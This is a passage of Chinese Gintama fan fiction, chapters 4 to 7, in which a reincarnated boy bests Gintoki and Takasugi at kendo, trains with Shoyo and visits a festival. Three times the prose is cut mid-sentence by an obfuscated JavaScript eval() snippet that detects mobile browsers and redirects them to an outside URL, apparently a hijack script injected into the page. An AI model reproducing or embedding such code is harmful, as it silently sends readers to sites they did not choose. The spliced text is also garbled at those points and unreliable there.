“你太没有常识了!父母会去掀开你的被子,你当然要一脸安然,等在那里被吓到啊!如果你提前走了的话,掀被子岂不是没有意义了!” 深草琉嚼嚼嚼,“……哦。” 什么鬼常识,傻子才信。 银白卷发男孩双手夸张地捂住心脏,痛心疾首。 “你太敷衍了,以为这么回答就能解决问题吗?这根本就——不对啊!” 哪里不对? 深草琉刚要反驳,就见坂田银时嘴角勾起一抹坏笑,一个饿虎扑食,张口扑向他的饭团。 ……是他低估此人的下限了。 电光火石之间,黑发男孩往后撤了一步,手腕一转,就免受了对方的毒手。 啪——! “嗷!”坂田银时坠落在地,发出了很痛的声音。 深草琉眨眨眼,刚想嘲讽这是他自食恶果,对方已经抬起头。 这人皮肤白,额头红了一点,鼻尖也红了,按照年龄,下一秒就会张口大哭。 然而…… “你就是这样对待爸爸的吗?呜呜呜,孩子他妈,你看看这可怎么办,我们家孩子以后会变成那种根本不去工作,还要殴打爸爸,拿走家里所剩不多的养老金去打小钢珠的人渣了。” 坂田银时躺在地上,翻来覆去打滚,一副你无耻你无赖的嘴脸。 “你快起来!” 深草琉对外界不怎么敏感,都感觉脸上开始烧了。 这家伙怎么随地大小演?而且哪里有孩子他妈! “是啊是啊,这下可不妙了呢。” 孩子他妈·桂小太郎夹着嗓子闪亮登场。 他用手挡住嘴,一脸担忧加谴责,还扯着旁边高杉晋助的胳膊。 “孩子他哥,你倒是说句话啊。” “……别把我拉入你们有病的过家家里。” “你怎么能这么说,难道连你也进入叛逆期,不愿再做这个家的一份子了吗?孩子他妈,这都怪你!” “什么我,要不是你天天夜不归宿,一点都不教育他们,这些孩子怎么会这样!” “都说了,别随便把人加进去啊!” 深草琉站在原地,感觉自己一脚踏入了家庭伦理剧的现场,连插嘴的余地都没有。 只能眼睁睁看见自己被编排成了高中辍学、在家啃老加没事打一打父母,天天赌博的人渣。 ……我不明白。 这个世界的教育到底出什么问题了? 这三人真的是主角团的?要不试试重开呢? “这里总是这么热闹啊。” 在他的思维滑向无底深渊之前,吉田松阳慢悠悠走了过来。 只是一个眼神,刚刚还打成一团的三人顿时乖乖站在墙边,勾肩搭背,一副兄友弟恭的景色。 深草琉还没松口气,栗色长发的男人目光就定在了他身上。 “怎么、怎么了吗?” “这两天还算习惯吗?” “还好……” “这样啊,既然你会说话,那要不要今天就来上课?对你也有好处。” 深草琉心理阴影仍在,低着头应了:“好。” 松下村塾实施的是文武兼备的教育。上午在不大不小的教室里,听吉田松阳教授课程,课程内容很宽泛,从基础的知识到更深入的道德哲学都有。来上课的都是附近村子里的小孩子,年龄参差不齐,家庭环境不同,受教育水平也不一致。 如高杉晋助和桂小太郎这类学识优异的是极少数。 大多数小孩对吉田松阳教授的东西,都半懂不懂,不过都在听,时不时还记录两笔。 与在角落里抱着剑打瞌睡的坂田银时,形成鲜明对比。 深草琉坐在坂田银时旁边,听他打了一个上午的呼噜,又避开了吉田松阳扔出的第十一支粉笔头,不免心生忧虑。 这样下去,他该不会遇见有史以来第一个文盲的主角吧? 想想对方各种作为……似乎不无可能。 午休结束,在武馆里,开始了剑术课程。 学员们换了白色的剑道服和黑色护甲,拿起木刀,表情比上午兴奋不少。 连一脸倦怠的坂田银时,眼底也闪烁着跃跃欲试的光。 深草琉眨眨眼,明白了。 恐怕附近的小孩子来这个村塾,主要为的,不是上午的知识,而是下午的剑术吧? 越是混乱的年代,越需要提升个人的武艺,才更有活下去的机会。 “今天谁来?” 坂田银时显然是这里的厉害人物,木刀一举,大多数人就不由得后退了半步。 只有一人丝毫无惧,昂然对视——高杉晋助。 “哼,这次你又想怎么输给我?”深紫短发的男孩往前一步,目光凌然。 “这就是你的遗言吗?”坂田银时横刀而笑。 不过一个眼神,两人就打了起来。 邦邦邦的相击声中,挥洒的汗水溅落地面,残影的木刀来回攻防,对战者眼中的战意半点未消,围观者还不断呼喝。 “上啊银时!” “高杉,今天也要给那家伙点颜色瞧瞧!” “噢噢噢,这一下漂亮!” 深草琉默默观察,桂小太郎忽然开口,“你对剑道好奇吗?” 这人没有掺和进朋友打架,反而退到了他旁边,时不时注意兴奋过头拥挤的人群,避免他们不小心踩到或撞到他。 从照顾人的角度来看,说不定是三人中最细心的,也是唯一一个把他当年纪小的弟弟的。 “还好。” “你可以仔细看看他们的战斗,他们的武艺在同龄人中也是顶尖的。” “那你呢?” “我?” 桂小太郎愣了一下,温和地笑了,“我不在乎是不是顶尖的,但我也不会被他们就这样抛下。” 对于自己的不足,他坦然又平静。 似乎没有因此而生的自卑或不甘,只有纯粹而清澈的笃定。 这是个坚持自己道路不会动摇的人。换句话说,就是犟种。选了一条路,知道是错也会走。 深草琉多看了他两眼,又转回比武场。 “他们要打到什么时候?” “自他们认识以来,一直是不分个胜负,就不会停下来。” “那他们之中谁比较强?” “这个嘛……”扎着黑马尾的神童思索一阵,“目前看来还是银时吧,他赢的次数比较多。不过晋助也慢慢跟上来了,很快他们会打平的。” 深草琉瞥他一眼,摸了摸手中的木刀,“赢的人还会继续打吗?” “一般来说,他们俩都会打到对方精疲力尽才能分胜负。这里是崇尚武士道的地方,恐怕不会有人继续挑战他们了。” “这样啊,所以机会只有现在了?” “你说什么……喂,你去哪儿?等等!” 桂小太郎一个晃神,黑发红眸的小孩就走出了围观人群,目标鲜明,朝着正胶着的两人而去。 陷入战斗的人可不分敌我,这样盲目靠近,最差的结果是深草琉被两人同时攻击! 桂小太郎面色焦急,挤出人群,就要把人拽回来。 但深草琉的速度太快了。 这一眨眼的功夫,他已经俯身上前,肩膀带动胳膊,对木刀相接的两人挥下一刀。 阴影下落,坂田银时和高杉晋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16267644|182160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 助同时皱眉,身形一闪,后跃几步,站定。 桂小太郎脚步一顿,松了口气。 坂田银时:“哟儿子,你不会是高杉找来的援兵吧?” 高杉晋助:“哈,都喊儿子了,他恐怕是你不想输得太难看找来的吧!” 两人虽在对深草琉说话,目光却注视着彼此,明显没有将深草琉当做对手。 深草琉眉头一挑,木刀轻抬,直指银白卷发的男孩。 “我听说,你是这里最强的。” 这话一出,高杉晋助脸色沉了下来,桂小太郎一脸惊讶。 坂田银时挖了挖耳朵,吹了下小拇指,“怎么,想求爸爸教你?现在可不是时候,而且连草莓牛奶都没有……” “我没有一个会输给我的爸爸。” 黑发的男孩语气平淡,红宝石般的眼眸对上猩红的眼睛,唇角翘起,“你有多少能耐,打过再说吧。” “嚯,看来进入叛逆期的还真有一位。高杉,我们待会再打,现在可是家庭教育时间。” 坂田银时依旧是懒散不着调的口吻,眼神却一瞬间锋利起来。 高杉晋助见状,冷哼一声,倒也退开了空间。 “这会不会太难了。”桂小太郎不太赞同,“那孩子算是昨天才出生吧。” “既然有胆招惹,就要付出代价。总比真正上战场,不知轻重丢了性命好。” 高杉双手抱胸,注视比武场。 只剩坂田银时和深草琉在中心。 “现在说对不起爸爸我错了的话,我可以给你留个好看的屁股颜色。” “我以为你会是严厉的父亲那类呢。” “哈哈怎么会,你说——对了!” 话音未落,坂田银时足下发力,身体前倾,一眨眼就到了深草琉眼前! 快得几乎割破风声的一刀,直直从颈侧而来。 这是从战场上习得的剑术,没有任何花里胡哨的动作,也没有半分犹豫,一出手就不留余地,直取性命! 所有人不由得屏住呼吸,目光紧紧跟着他的动作。 深草琉略微侧身,闪了过去。 “有点意思。” 坂田银时眼底划过一抹暗光,刀风一转,直斩而下! 这样的一刀,即使是身经百战的武士,也会被其锋锐的杀气惊到。一旦生了畏惧,败北就是显而易见的结局。 连高杉晋助第一次和坂田银时对战,都无法抵住这一刀的锋芒。 “那是……”桂小太郎满是惊讶。 高杉晋助眯了眯眼,“啧。” 没有人觉得深草琉能轻易躲过这一刀。 近身的那一刻,坂田银时却先有了惊意。 面前这个理应从未上过战场的家伙,注视他的目光平静得可怕。 即使他突然出手,即使刀尖擦过鼻尖,对方的脸上也没有出现一丝动摇,甚至、甚至。 “邦!”,威力十足的一刀出乎意料被挡下了。 挡下的人面色淡然,仿佛不曾用力,包括高杉晋助在内所有人都愣住了。 ——像是不以为然。 被这个念头刺激,坂田银时手腕一转,第三刀接连而出,刺向胸口。 这一刀又快又急,一个错眼就跟不上。 黑发男孩这才动了动眉头,嘴角竟缓缓勾起一点满意似的笑容。 ——紧握的木刀微微一动,他出手了。 这场对战中,一直以防守为主的深草琉,第一次主动进攻。 坂田银时眉心一跳,剧痛袭来。 那一刹那很短,又很长。 短到他根本看不清对方主动挥出的那一刀是从什么角度经过,重重击中了他的腹部,将他打飞出去。 长到他飞出去之前,眼底映满了,那个捡来的小天人平淡得像是做了一件微不足道的事的表情。 复杂到汹涌的情绪挤满喉间。 坂田银时摔到地上,心跳怦怦,他攥紧木刀,与喘息一起吐出来。 “再来!” 5. 第 5 章 武馆里所有人目瞪口呆。 “真的假的,那个银时,居然输了?!” “对啊,而且对方看上去还小一点,这是哪里找来的鬼才?” “长江后浪推前浪,前浪死在沙滩上啊,先来了高杉晋助,现在又来了个,对了,那是谁来着……” 谁也没想到先倒下的是坂田银时,更没有想到不过几招,对方丝毫未损,坂田银时就输了。 “没想到……他那么厉害。”桂小太郎神色肃然,“该不会是什么间谍吧?” 这个时代,也不乏有些打入内部的间谍了。 “不可否认的是,他很强。” 高杉晋助眼底迸发出强烈的战意,捏住长刀的手松了又紧。 坂田银时对这些目光与声音并不在意,他早在输给高杉晋助时就经历了一回类似的场景,再输也没什么,更重要的是,“再来一局!” 直到这一刻,这个世界的主角才真正把深草琉看进了眼里——当做一个对手,而非什么玩闹的工具,或者临时的累赘。 深草琉看得分明,对他笑了笑,回答得干脆。 “不要。” “为什么?” 坂田银时才爬起来就追过来,生龙活虎得好似没有受过伤。 “难道是怕再来一次输给爸爸不好意思?别担心,爸爸会给你留面子,摔成骨折也会拖你回去的。” 这种低级挑衅,小孩子才会上当。 深草琉挥了两下刀,感受其沉甸甸的重量,随口道,“我不和笨蛋打架。” 坂田银时还没生气,旁边有人插了进来,“和笨蛋打确实没意思,那你要和我打一场吗?” 深紫短发的武士家少年,目光灼灼盯着深草琉。身边的桂小太郎神色复杂,张了张嘴,还是没说话。 “高杉你居然想抢跑?!我先来的!” 银白卷发的男孩还在跳脚,这边深草琉已经点了头,“好。” 反正来一个是打,来一双也是打,没什么区别,正好让他看看这个世界的人武力值现在怎么样。 银时的抗议被无视,场地再次拉开空间,挑战者却换了一个。 黑发红眸的男孩对上了深紫短发的男孩。 围观的学员小声讨论,有的对高杉寄予厚望,有的则想再看一出黑马胜出,还有的甚至想开场赌局。 “银时,你觉得……” 桂小太郎话还没问完,坂田银时就答了,“高杉会输。” “为什……” 话音未落,一个身影猛地闪过眼前,砰一声,以极为熟悉的姿势,摔落在地。 那头深紫短发,不是高杉晋助,还能是谁? 桂小太郎瞪大了眼,半晌发不出声,“怎么……” 他不知道自己要说怎么这么快,还是怎么这么强,似乎哪一个都可以说,可就是这样才不正常。 坂田银时已经咧嘴笑出白牙,“我早说了,高杉也赢不了他。” 说罢,他再度拎起刀,对站在场上的胜利者邀战。 “阿琉,再来一次吧。” 深草琉动作一顿,莫名打量他一眼。 称呼一下子就变亲近了,之前这个人,有叫过他的名字吗? 他再度摇头,“我不和笨蛋打。” 高杉晋助的武力和坂田银时差不了太多。正如桂小太郎所说,过段时间,这两人就会旗鼓相当。 可惜遇上了他。 作为磨炼主角的反面角色,首要逼格就是不能轻易输! “什么笨蛋,这里唯一的笨蛋不是刚刚才输给你吗?” 坂田银时完全不顾高杉晋助脸色难看到什么程度,缠着深草琉要求再来一次。 但深草琉已经有了谋划,盯着他,“要再来一次的话,你……” “好了,观赏赛结束,现在大家该开始自己的训练了哦。” 不知何时出现的吉田松阳站在门口,身影背光,笑容也带了层不可捉摸的阴影。 学员们浑身一哆嗦,立马散开,三三两两一组,挥刀的频次快得像是开了二倍速,又像是再慢一点就会被某个大魔王吞掉。 深草琉的话也卡在喉咙里。 因为大魔王来走了过来,微一低头,意味不明地打量他们。 “你们呢?” 坂田银时很快受不了这种目光,一把拽住路过的高杉晋助,窜到一边,“走走走,我们还没分出胜负!” 高杉晋助动了动手指,目光从深草琉身上移开,转到微笑的吉田松阳身上,到底没有拒绝。 桂小太郎也跟在他们旁边,视线忍不住望向还留在原地的深草琉。 “我们留他独自面对松阳老师,是不是不太好?” 坂田银时抱紧木刀,头也不回,“不尊敬老父亲的家伙,一口一个笨蛋的,谁是笨蛋啊!也该让他吃点教训了,而且松阳不会对他怎么样的。” 高杉晋助也默认了。 两人都这么说,桂小太郎也没话了,只暗地里祈祷了一秒,这倒霉小天人能安全度过老师那关。 别的不知道,自家老师强得可怕,他还是深有体会的。 倒霉小天人·深草琉浑身僵硬。 他本来是想拉坂田银时的,但对方先走一步,还把高杉晋助和桂小太郎一起带走了。现在大部分人都有了练习的搭档,他一个人站在原地,承受吉田松阳颇有压力的注视,没有当场腿软已经是意志坚定。 “你没有搭档吗?” 吉田松阳偏偏问了出来,语气里似乎还带了点担忧。 深草琉咽了口口水,指向远去的坂田银时他们,“不,不是,我马上过去和他们……” “你和他们水平不一样,练习对你的效果不大。” “那我一个人……” “武馆是互相进步的地方,放任你一个人练习,也是对你天资的浪费。” “没关系,我觉得没事的。” 深草琉心头惶惶,他隐约有种被大型食肉动物盯上的感觉,浑身汗毛炸起,叫嚣着赶紧离开,可偏偏这个时候,他脚步挪不动,只能僵硬着口舌拒绝,“我……” “我有个好办法,不如,你和我练习如何?” “!!!”深草琉差点跳起来,他连连摇头,“不了,我的实力不足,对您也没有好处,而且……” “没关系。教导弟子是老师的职责。” 栗色长发的男人语气轻缓,微微睁开常年眯起的眼睛。 明明是深褐色的眼睛,一瞬却划过锋利的血色。 其主人慢条斯理的语气,像是拿刀叉切下一口盘子里的肉。 “我会好好教导你的。” 深草琉在对方的注视下,大气都不敢出,连什么时候稀里糊涂点了头都不清楚。 “好孩子。” 完蛋了。 被牵走的时候,他脑海中只剩下这句话。 松下村塾的人只知道,今天那个新来的孩子,接连赢了他们这里最强的坂田银时和高杉晋助,然后就被吉田松阳单独带出去,似乎要特训的样子。 以前这种特权都是坂田银时的。 “真好啊,我也想感受一下特训。” “一定比不停在这里挥刀练习有意思!” 众人休息时发出羡慕的声音。连桂小太郎都忍不住问,“银时,特训是什么内容?” 他们来松下村塾的时间不久,没有和吉田松阳交过手,只单方面被揍过。 “嗯?呃咳咳……” 坂田银时喝水呛住了,在两位同窗的注视下,眼神飘忽,“嗯,就是那种常见的,普通的训练啦哈哈哈……总 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16267645|182160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之,阿琉不会死的,嗯。” 应该不会……吧? 要死了。 深草琉第不知道多少次摔倒在地。 呼吸灼热得好似烧伤,胸口的心脏都快跳出来了。比起受这种折磨,或许一口气晕倒更舒服。 可还不是停下的时候。 他握紧木刀,大口喘气,从地上慢慢爬起来,注视着对面的怪物。 是的,怪物。 短短半小时的单方面被打中,他已经深刻理解了这一点。 这绝不是人类能做到的事,速度、力量、反应力、洞察力……都不是人类能做到的。面前这个叫吉田松阳的男人,超越了人类的层次,是货真价实的怪物。 “你比我想象中弱一点。” 那个怪物清清淡淡开口,轻松得像是没有将他以各种方式打倒近百次。 “我……”深草琉呼哧呼哧喘气,眼皮被滴落的汗水刺激,酸涩上涌,视线模糊,他还是努力睁开眼,“我、知道。” 反派也有成长期的。随着主角成长,他也会进一步变强。 但,不是现在。 “真可惜。”吉田松阳慢慢靠近,语气里听不出惋惜,“你的天资或许是我见过最高的,明明诞生没有多久,就能成长到这个地步。你到底是什么种类的天人呢?来地球又是为了什么?” 这个时候才来在意他的目的?因为展露了实力吗? 无论怎么说,躲在乡下教书的普通老师,作为主角的老师,不普通得是不是有点太超过了。 乱七八糟的问题一个接一个涌出,深草琉却没有办法深思,严重透支的身体摇摇晃晃,如果不是还有把木刀,恐怕早就站不住了。 “为了……”让主角,“更强。” “为了变强?这倒是个稀奇的答案。如果不是知道夜兔的特征,我都要怀疑一下你的身份了。但是个不错的回答。” 对方似乎笑了。 “那么,你就好好努力吧,直到——某一天你,或者你们,将……杀死。” 男人的身影越发接近,像是死神的身影,渗出漆黑的气质,一阵一阵的压迫感中,深草琉的思维迟滞了。 在说什么?关键词好像刻意省略了,听不清。 不行,已经…… 勉强记住最后一句话,黑发红眸的男孩眼皮一合,身体一软,橡皮泥似的往后倒去。 在后脑勺要和地面来个结结实实的亲密接触之前,一只大手骤然出现,牢牢抓住了他脖颈处的衣服。 栗色长发的男人拎猫崽子一样,将深草琉举了起来,打量两眼。 “还是个……孩子啊。” 吉田松阳换了只手,一转身,就看见不远处探头探脑的三人。 他脚步一顿,面上勾起了温和的笑。 “看样子,你们还是很担心新同学的。” 他笑吟吟将人塞到最前面的坂田银时怀里,“老师很欣慰,那么接下来,交给你啦,银时。” “别一本正经地叫人给你擦屁股啊!而且你之前是不是说过一样的话?” 坂田银时皱着鼻子,刚想拒绝,就瞧见了怀里黑发小孩苍白的脸色。 身上青青紫紫,一看就知道摔打得很惨,都昏过去了,手里还捏着木刀……虽说现在的小孩哪个不被师长狠狠训练过,但之前这小子还一脸嚣张的,现在…… 高杉晋助都皱起了眉。 桂小太郎更是直接道,“不然我来吧。” 坂田银时眉头皱起又松开,将人换个姿势抱稳了,才仰着头,讨价还价。 “说好了,松阳、老师,阿银的劳动力可不便宜,至少要三瓶草莓牛奶!” “小孩子不能吃太多甜的。” “说什么呢,小孩子不吃甜的,以后会变成苦涩的大人的!” 6. 第 6 章 主角有很多种,偶尔出现一两个比较奇葩的也很正常,对吧? 对个头! 深草琉猛地转身,抽刀挡住了来自背后的偷袭,木刀相击,发出“邦邦”的声响。 银色卷发的偷袭者一击不成,当即大喊一声。 “手下败将二人组,就是现在!” 深紫色头发的小孩从左边草丛冲出来,对准前一个偷袭者提刀就砍,“你说谁啊!” 另一个黑马尾的小孩从右边草丛冲出来,同样对准了第一个偷袭者,“都说了是桂!” 两人刀风来袭的瞬间,坂田银时快速反身架住。 但一次性对抗两人还是有些艰难,尤其有一人水平接近。 他腮帮子都在用力,嘴角却扬起大大的弧度。 “输给阿银没什么不好意思的,阿银能理解的,你们不管怎么努力都只能够到我脚底板的悲惨心情。” 高杉晋助怒瞪他,咬着牙笑,“看来你记性也不行了啊,忘记是谁输给我,还丢脸摔倒了?” 桂小太郎全身的力气都往刀上压。 “银时你才是,这几天输得那么惨,只能够到阿琉的脚后跟,还没有长记性,是对脚底板这个地方情有独钟吗?小小年纪,居然有这种变态性癖吗?” “哈?两个输得一塌糊涂的负分牌子有权利说话吗?” 深草琉面无表情,对他们互相乱甩垃圾话的行为已经免疫了。 从打赢坂田银时和高杉晋助开始,这三人开始在他面前频频刷存在感。 一会说给他吃好吃的,结果送上来一盆焦黑的不明物质。一会说加入私塾要穿标准的衣服,然后给他兜头套上了麻袋,麻袋上还写着“我是笨蛋”四个大字。一会又说带他抓童年的梦想超级甲壳虫,结果最后抓了一大堆小强。 表面说的是要好好交流,实际行为与挑衅无异。 深草琉烦不胜烦,早在第一次就说出了条件。 “我不想和笨蛋打架,起码要在课堂小测中,获得前五名的成绩再来找我。” 没错,这是他认为,至少能杜绝坂田银时变成文盲的好办法。 这种条件对于成绩优异的高杉晋助和桂小太郎不成问题。但对课都不听的坂田银时,应该是个不小的挑战。 深草琉本来是这么想的。 当坂田银时、高杉晋助、桂小太郎,分别拿着第四到第二的成绩单来找他,他默默扔开了自己第一名的卷子,拔出了木刀。 将三人全都打倒,他喘着气,瞥见不远处微笑的吉田松阳,才恍然大悟。 比起他,作为老师的吉田松阳恐怕才是更不愿意手下出文盲的那一个。坂田银时早就跟在这男人身边,又怎么可能被教成个呆瓜。上课不听课,也不代表他傻啊。 好吧,起码不用担心主角文化问题了。 深草琉痛定思痛,开出了新条件,“前三名才能来找我。” 有他占据第一名,只需要应付两个人就行了。虽然也好不到哪里去,但比一口气应付三个体力怪物好。 这段时间别的没有感觉出来,唯有体力这一项,这三个家伙确实能证明是主角级别的。 他想的是挺好,可坂田银时他们不干了。 “孩子他妈,你听听这孩子又说出了什么为难人的要求啊!” “阿琉,你这样朝令夕改是不好的。这里没有你嘴里的笨蛋哦,啊,难道说你才是笨蛋吗?” “把银时排除在外就可以了吧。” “好像听见有狗在叫,只比我高一名就可以得意了吗?啊?某位小少爷?” 趁着他们吵成一团,深草琉溜走了。 他最近跟着吉田松阳加练。按照常见剧情,这种强的离谱的老师都是用来献祭的。如果不献祭,也是归隐山林,不再出世。而主角在此之前学会的种种,会成为以后独立的重要依靠。 作为反派,他需要稍微比主角多学一点,才能避免在下线前输掉。 成长系反派,会是成长系主角最佳的磨炼。 但他拒绝对打的次数太多,坂田银时他们开始尝试新的“挑衅方式”。 ——比如此刻的偷袭。 此刻,三人战况焦灼,好似忘了一开始被袭击的某个人,也忘了他们一开始商讨要一起打败某人。 深草琉面无表情地拿起刀,高高抬起。 砰砰砰三连击。 “你居然这样对待爸爸!” 坂田银时一脸不可置信,抱着刀嘤嘤哭泣,“你是不是已经忘了爸爸含辛茹苦抚养你长大的恩情了,怎么会这样,孩子他妈,现在可怎么办啊!” 高杉晋助头顶一个包,双手抱胸,“你这样不行啊,怎么能这样对待长辈。” 桂小太郎和包一起点头,同样严肃,“对长辈,比如我们,是需要尊重的,现在道歉还是好孩子哦,阿琉。” 深草琉呼吸,再呼吸,再再呼……呼个鬼!他额头青筋直冒。 “你们是个屁的长辈!我们明明差不多大!” 这三个九岁的凭什么说他这个七岁的? “怎么能这么说自己呢?即使你是个屁,爸爸也不会丢下你的。” “对啊,你要冷静一点,阿琉。” 不行,再听下去,已经不是冷静不冷静的问题了,是他可能一个没忍住就把没节操主角打死的问题了。 深草琉转身就走,一个眼神都不想再给。 后方却传来了极为大声的讨论。 “哎呀,我记得今晚好像有祭典哎,就在附近的山上。” “祭典啊,有很多好吃的,烤鱿鱼、炒面、巧克力香蕉,还有烟花吧。” “不止烟花,还有捞金鱼、□□和水球。” 他脚步一顿,那讨论声马上更加明目张胆,甚至,不,应该说,就在他旁边,三百六十度无死角循环。 以坂田银时为首,三人蹲在地上,围着他大声商量。 “不过我听说这祭典开的时间很晚,松阳老师禁止学生太晚外出,看来只能溜出去了。” “是啊,如果想要溜出去,光凭自己一个人肯定做不到的。” “一个人确实不行。” 三人明目张胆的视线中,黑发红眸的男孩臭着脸,抱着刀开口。 “所以,你们什么时候去?” 坂田银时当即嘴角弧度弯得大大的,像是偷腥的狐狸,扯着桂小太郎,故作惊讶。 “哎呀哎呀,我是不是听错了,我们家那个殴打父母为乐的家里蹲,居然主动要出门了。” “是啊是啊,这实在是……” 桂小太郎抹抹不存在的眼泪,满脸欣慰,“这下孩子他哥在天之灵,也会放心了。” 高杉晋助:“喂,我还没死呢。” 深草琉:“呵。” 且先不说深草琉恼羞成怒,又追着他们打了一顿的事。 松下村塾送走最后一个孩子,暮色将尽,天色擦黑的时候,一个银白卷发的男孩灵巧地从墙上翻下,又鬼鬼祟祟环顾左右,才把手拢在嘴边,小声喊。 “一切安全,过来吧。” “行。” 随着这一声从墙头跳下来的,是齐刷刷三个男孩。 最后一个黑发红眸的身形年纪小,重量轻,不太稳,另外两人还帮忙扶了一把,才将人带了下来。 “阿琉也到了,可以走……咦?银时呢?” 三人正要寻找,脚下就传来了咬牙切齿的声音。 “这里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16267646|182160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊……你们这群不长眼的哔——!哔——!” 喜提满背脚印的坂田银时骂骂咧咧了一路,全是好孩子不能听的话。 高杉晋助嘲笑了他两句,吸引了最多的火力。 桂小太郎则就“为什么银时发色如此显眼却没人注意,是不是银时本身有问题”开展了辩论。 深草琉一开始还听两句,后来发现完全是胡搅蛮缠,果断放弃。 他已经明白了,和这些人聊理论,首先必须将节操拿下来,踩个十遍八遍,再一把塞到坂田银时嘴里,才能赢。 路程不算太远,又处在精力充沛的年纪,沿着山梯爬了一会,没多久,就到了地方。 两侧成排的灯笼上写着“祭”,明黄的灯光轻柔笼罩,来往行人面带笑意,摊主们吆喝声不断,面具和团扇堆放成墙。但更吸引人的还是吃食,煎得油滋滋的鱿鱼,冒着热气的章鱼小丸子,火气正旺的炒面,淋了巧克力的香蕉…… 进了祭典会场的三人哇了一声,眼里都发出布灵布灵的光,下一瞬就消失在了挤挤挨挨的人群里。 简直是水溶于河的速度。 深草琉顿时明白,为什么吉田松阳不许孩子们晚上乱逛了。 可主角都走了,他还有机会触发特殊剧情,得到世界情报吗? 算了,来都来了。 他慢吞吞从入口处的摊位逛起,走了没几步,就因矮小的身材被挤得来回转。 只有这种时候,他会觉得年龄小太糟了。 实在不想继续被男男女女的屁股或胳膊撞击,深草琉干脆停在了最近的一处摊位,假装自己想要玩。 “阿琉,阿琉,你想要这个吗?” 谁知道坐下没有多久,一个银白卷毛就突然出现,冲他笑嘻嘻问。 深草琉这才注意到,面前是个捞水球的小摊。 捞水球和捞金鱼差不多,要用小钩钩上水球的绳子,中途没有掉下去,就算捞上来了。这一路过来,不少人手中都挂了个小水球,估计是很受欢迎的小玩具,难度也不算高。 “你要帮我?” 按照坂田银时的个性,肯定不会无缘无故帮忙。深草琉等着看他有什么目的。 结果坂田银时二话不说,找老板要了个钩子,三二一就把水球钩了上来。 拿到那个水球的时候,深草琉还不敢置信。 “你吃野外的蘑菇了?” 不是中毒了,就是被掉包了,这肯定不是坂田银时! 坂田银时顿时一脸受伤,“你怎么能这么想我?我是那样的人?阿银只是好心,居然会被说成这样,真是人心不古,世风日下……” 深草琉被念得头疼,生怕待会这人又要随地大小演。 “行了我知道了,你别说了。” “这么说,你愿意也帮我了?” “什么?” 话题怎么跳跃到这里的? 银白卷发的男孩干笑了两声,往后一挪,露出了一众摩拳擦掌的摊主。 他们凶神恶煞的目光越过坂田银时,戳向深草琉。 “你就是这小子说的,能付钱的人?” 深草琉:“……” 他咔吧咔吧,转动脖子,看向两手空空的坂田银时。 对方冲他眨眨眼,似乎很是无辜,仔细一看,嘴角的酱料还没舔干净。 他又咔吧咔吧看向自己手里冰冷的水球,思考了一秒。 下一刻,零帧起手,砰一声,水光四溅,正中红心,银白卷发的男孩仰面倒了下去。 在一众惊疑不定的摊主注视下,黑发红眸的男孩缓缓露出了柔和的笑容。 “抱歉,我不认识他。” 什么主角,什么坂田银时,第一次听说。 7. 第 7 章 在坂田银时鬼哭狼嚎的背景音里,深草琉从容退场,又找了个人少的地方晃悠。 他不太懂祭典有什么意思,这么多人密集地聚在一起,只是为了呼吸浑浊的空气吗? “哇——!” 一个转角,桂小太郎头上带了个鬼面具,猛地从草丛跳了出来。 深草琉:“……” 黑发男孩眉头都没有动一下,桂小太郎僵持了三秒,若无其事掀开面具,拍了拍他的肩膀,假装自己刚刚才认出来。 “阿琉,原来你在这啊。” 深草琉刚要点头,就感觉另一边的肩膀被人拍了下。 他下意识转头。 ——与一张青面獠牙的面具来了个贴面。 “砰”,一脚击倒。 青面獠牙鬼捂住裆部,倒地不起。 “嘶……”那鬼的声音听上去颇为熟悉。 深草琉露出个恍然大悟的表情,一手锤手心,“原来是高杉啊。我以为是什么奇怪的变态呢。” “你肯定认出来了吧……” 桂小太郎嘴角抽搐。他围观了全程,没错过深草琉动手前专门瞄准的那一眼。 此刻,除了感慨逃过一劫,裆部也隐隐有些作痛。 “你在说什么呢?”黑发男孩弯了弯眼睛,“我怎么会想到,突然跳出来吓人的鬼,是我认识的某些人呢。” 桂小太郎张了张嘴,又闭上。算了,反正惨的不是他。 “咳,我听说过一会要放烟花了,要不要一起去看?” 为了转换氛围,他提出了逛祭典必备的选项。 说起祭典的常见情节,除了到处逛摊位,也就是看烟花了。没有烟花的祭典,不是完整的夏日回忆。 “不了吧。” 然而这里真的有一位断然拒绝的人。 深草琉看桂小太郎一脸不解,反而更加困惑,“以我们的身高,混入人群里看见的,不是璀璨炫目的烟花,而是屁股们哦,或圆或扁或大或小,但都能一撞就能把我们撞飞的屁股哦。你该不会……对这种事很感兴趣吧?” 没想到这浓眉大眼的,癖好还挺特殊。 